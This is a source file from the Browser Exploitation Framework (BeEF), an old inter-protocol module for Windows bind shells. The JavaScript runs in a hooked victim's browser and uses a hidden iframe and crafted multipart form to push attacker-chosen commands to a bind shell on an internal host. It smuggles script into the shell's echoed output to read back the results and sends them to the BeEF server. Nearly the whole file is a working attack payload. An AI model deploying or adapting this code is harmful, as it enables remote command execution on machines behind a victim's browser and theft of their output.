Path: blob/master/modules/ipec/inter_protocol_win_bindshell/command.old.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//5// This is the old module which supports bi-directional communications for Firefox before version ~166beef.execute(function() {78var target_ip = "<%= @ip %>";9var target_port = "<%= @port %>";10var cmd = "<%= @cmd %>";11var timeout = "<%= @command_timeout %>";12var internal_counter = 0;1314cmd += " & echo __END_OF_WIN_IPC<%= @command_id %>__ & echo </pre>\"\" & echo <div id='ipc_content'>\"\"";1516var iframe = document.createElement("iframe");17iframe.setAttribute("id","ipc_win_window_<%= @command_id %>");18iframe.setAttribute("style", "visibility:hidden;width:1px;height:1px;");19document.body.appendChild(iframe);2021function do_submit(ip, port, content) {2223var action = "http://" + ip + ":" + port + "/index.html?&cmd&";24var parent = window.location.href;2526myform=document.createElement("form");27myform.setAttribute("name","data");28myform.setAttribute("method","post");29myform.setAttribute("enctype","multipart/form-data");30myform.setAttribute("action",action);31document.getElementById("ipc_win_window_<%= @command_id %>").contentWindow.document.body.appendChild(myform);3233myExt = document.createElement("INPUT");34myExt.setAttribute("id",<%= @command_id %>);35myExt.setAttribute("name",<%= @command_id %>);36myExt.setAttribute("value",content);37myform.appendChild(myExt);38myExt = document.createElement("INPUT");39myExt.setAttribute("id","endTag");40myExt.setAttribute("name","</div>");41myExt.setAttribute("value","echo <scr"+"ipt>window.location='"+parent+"#ipc_result='+encodeURI(document.getElementById(\"ipc_content\").innerHTML);</"+"script>\"\" & exit");4243myform.appendChild(myExt);44myform.submit();45}4647function waituntilok() {4849try {50if (/#ipc_result=/.test(document.getElementById("ipc_win_window_<%= @command_id %>").contentWindow.location)) {51ipc_result = document.getElementById("ipc_win_window_<%= @command_id %>").contentWindow.location.href;52output = ipc_result.substring(ipc_result.indexOf('#ipc_result=')+12,ipc_result.lastIndexOf('__END_OF_WIN_IPC<%= @command_id %>__'));53beef.net.send('<%= @command_url %>', <%= @command_id %>, "result="+decodeURI(output.replace(/%0A/gi, "<br>")).replace(/</g, "<").replace(/>/g, ">").replace(/<br>/gi, "<br>"));54document.body.removeChild(iframe);55return;56} else throw("command results haven't been returned yet");57} catch (e) {58internal_counter++;59if (internal_counter > timeout) {60beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timeout after '+timeout+' seconds');61document.body.removeChild(iframe);62return;63}64setTimeout(function() {waituntilok()},1000);65}66}6768// validate target host69if (!target_ip) {70beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target host');71return;72}7374// validate target port75if (!target_port || target_port > 65535 || target_port < 0 || isNaN(target_port)) {76beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');77return;78}7980// send commands81do_submit(target_ip, target_port, cmd);82waituntilok();8384});85868788